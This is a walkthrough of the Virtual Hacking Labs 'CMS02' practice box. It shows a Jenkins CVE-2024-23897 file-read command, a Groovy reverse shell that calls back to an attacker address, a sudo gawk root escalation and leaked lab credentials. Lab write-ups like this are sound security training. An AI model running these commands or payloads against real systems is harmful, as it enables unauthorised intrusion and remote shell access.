CMS02 — VHL (10.11.1.35)

22/tcp open ssh OpenSSH 7.4

#virtual hacking labs#vhl#walkthrough#boxes#os:linux#tech:rce#tech:cve#tech:suid

CMS02 — VHL (10.11.1.35)

Port Enumeration (10.11.1.35)

🐺 howlsec@kalishell

$22/tcp   open  ssh   OpenSSH 7.4
$80/tcp   open  http  Apache 2.4.6 (CentOS) PHP 7.3.33 - Drupal 8 ("CMS02")
$3306/tcp open  mysql MariaDB
$8080/tcp open  http  Jetty 9.4.45 - Jenkins 2.346.1

Foothold: Jenkins CVE-2024-23897 (arbitrary file read) -> RCE

Jenkins 2.346.1 arbitrary file read via the CLI @file argument trick:

🐺 howlsec@kalishell

$wget http://10.11.1.35:8080/jnlpJars/jenkins-cli.jar
$java -jar jenkins-cli.jar -s http://10.11.1.35:8080/ -http connect-node "@/var/lib/jenkins/secrets/initialAdminPassword"
$# initialAdminPassword: dda5aebf65c6437c9c1f665999db36f5

Log into Jenkins with that password, then use Manage Jenkins > Script Console (Groovy) for a reverse shell as the jenkins user:

🐺 howlsec@kaligroovy

01String host="172.16.1.1";int port=443;String cmd="sh";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port); ... // standard revshells.com Groovy payload

Privesc: sudo gawk (GTFOBins)

🐺 howlsec@kalishell

$sudo gawk 'BEGIN {system("/bin/sh")}'   # -> root; /root/key.txt = gh3f9y23jnkl8sdfmb43

(Drupal settings.php also leaks DB creds drupal:Str0ngDrupaLP4SS.)